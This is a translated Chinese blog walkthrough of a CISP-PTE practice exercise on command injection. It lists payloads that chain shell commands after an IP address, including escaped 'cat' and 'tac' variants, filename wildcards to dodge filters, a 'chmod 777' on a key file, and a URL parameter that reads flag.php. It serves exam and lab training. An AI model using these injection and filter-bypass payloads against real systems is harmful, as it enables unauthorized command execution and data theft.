当前位置:网站首页>2022 cisp-pte (III) command execution
2022 cisp-pte (III) command execution
2022-07-03 06:23:00 【A τθ】
One 、 The first
1、 Topic environment


2、 take key
2.1、 Get directory
127.0.0.1 | ls


127.0.0.1 | ls ../

2.2、 Read the file
Common command execution functions :
system("ls");
eval、exec
linux Reading documents : cat、tac、less、more、head、tail
ca\t、ca''t、cat""t
If the key.php Do the filter :
key.* k{
e}y.php k?y.php
127.0.0.1 | c\at ../key.php


127.0.0.1 | t\ac ../key.php

The second way
1、 Topic environment


2、 The problem solving steps
2.1 Get directory

2.2 Increase authority
127.0.0.1 & l\s -al ../key.*
127.0.0.1 & chmo\d 777 ../key.*
127.0.0.1 & l\s -al ../key.*



2.3 obtain key
127.0.0.1 & t\ac ../key.*

3、 ... and 、 The third way
1、 Topic environment

2、 The problem solving steps

The fourth way
1、 Topic environment

2、 The problem solving steps
2.1、ls

2.2、 obtain key
http://81.70.245.6:50289?c=cat flag.php;


边栏推荐
- Push box games C #
- Kubesphere - set up redis cluster
- 剖析虚幻渲染体系(16)- 图形驱动的秘密
- Openresty best practices
- Cesium entity(entities) 实体删除方法
- [system design] proximity service
- Shell conditional statement
- Oauth2.0 - Introduction and use and explanation of authorization code mode
- Docker advanced learning (container data volume, MySQL installation, dockerfile)
- Various usages of MySQL backup database to create table select and how many days are left
猜你喜欢

Cesium Click to obtain the longitude and latitude elevation coordinates (3D coordinates) of the model surface

SQL实现将多行记录合并成一行

Es remote cluster configuration and cross cluster search

Mysql

“我为开源打榜狂”第一周榜单公布,160位开发者上榜

Kubesphere - build MySQL master-slave replication structure

SVN分支管理

第8章、MapReduce 生产经验

Oauth2.0 - explanation of simplified mode, password mode and client mode

Chapter 8. MapReduce production experience
随机推荐
Kubesphere - build Nacos cluster
Floating menu operation
【LeetCode】Day93-两个数组的交集 II
Oracle Database Introduction
学习笔记 -- k-d tree 和 ikd-Tree 原理及对比
Local rviz call and display of remote rostopic
Various usages of MySQL backup database to create table select and how many days are left
ThreadLocal的简单理解
How to scan when Canon c3120l is a network shared printer
Introduction to software engineering
POI dealing with Excel learning
When PHP uses env to obtain file parameters, it gets strings
Page text acquisition
Nacos service installation
使用conda创建自己的深度学习环境
Mysql database table export and import with binary
Kubesphere - set up redis cluster
SSH link remote server and local display of remote graphical interface
Cesium entity (entities) entity deletion method
phpstudy设置项目可以由局域网的其他电脑可以访问